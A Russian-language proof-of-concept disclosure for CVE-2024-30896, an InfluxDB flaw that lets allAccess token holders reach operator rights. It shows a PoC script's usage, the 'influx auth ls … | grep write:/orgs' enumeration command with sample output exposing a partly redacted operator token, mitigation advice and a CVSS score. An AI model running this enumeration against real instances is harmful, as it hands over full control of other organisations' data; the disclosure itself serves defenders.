
Эксплойт доказательства концепции для CVE-2024-30896, уязвимость повышения привилегий в InfluxDB, позволяющая держателям токенов allAccess получить доступ уровня оператора через перечисление токенов авторизации.
Ошибка бизнес-логики в influxdb позволяет пользователям, владеющим действительным токеном allAccess, повышать свои привилегии до уровня оператора путем перечисления текущих токенов авторизации.
Злоумышленником может быть пользователь, которому администратор предоставил доступ с помощью токена allAccess только в рамках своей организации. Разрешения этого пользователя позволят ему полностью контролировать организацию, но по-прежнему не позволят взаимодействовать с другими организациями.
Эта уязвимость позволит пользователю получить неограниченный доступ к экземпляру influxdb. Подобное состояние может полностью нарушить конфиденциальность, целостность и доступность данных, принадлежащих пользователям разных организаций. Кроме того, поскольку токен оператора имеет административные разрешения, может быть нарушена доступность и целостность всего экземпляра influxdb.
Использование скрипта
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]
optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
influx auth ls -t <allAccessToken> | grep write:/orgs. Это выведет список всех текущих активных токенов оператора в экземпляре influxdb.Пример
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]
# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]
По умолчанию токены allAccess имеют разрешения на перечисление всех авторизаций, определенных в той же организации, без ограничений по типу (custom, allAccess, operator) -> read:orgs/87d0746948a3b3f5/authorizations.
При выполнении influx setup будет создана первая (стандартная) организация, в которой автоматически будет сохранен токен оператора. Пользователям следует предоставлять доступ только к дополнительным созданным организациям. Рекомендуется создавать несколько организаций и передавать пользователям только те, которые не содержат токен оператора.
Базовый балл CVSS: 9.1
Вектор CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H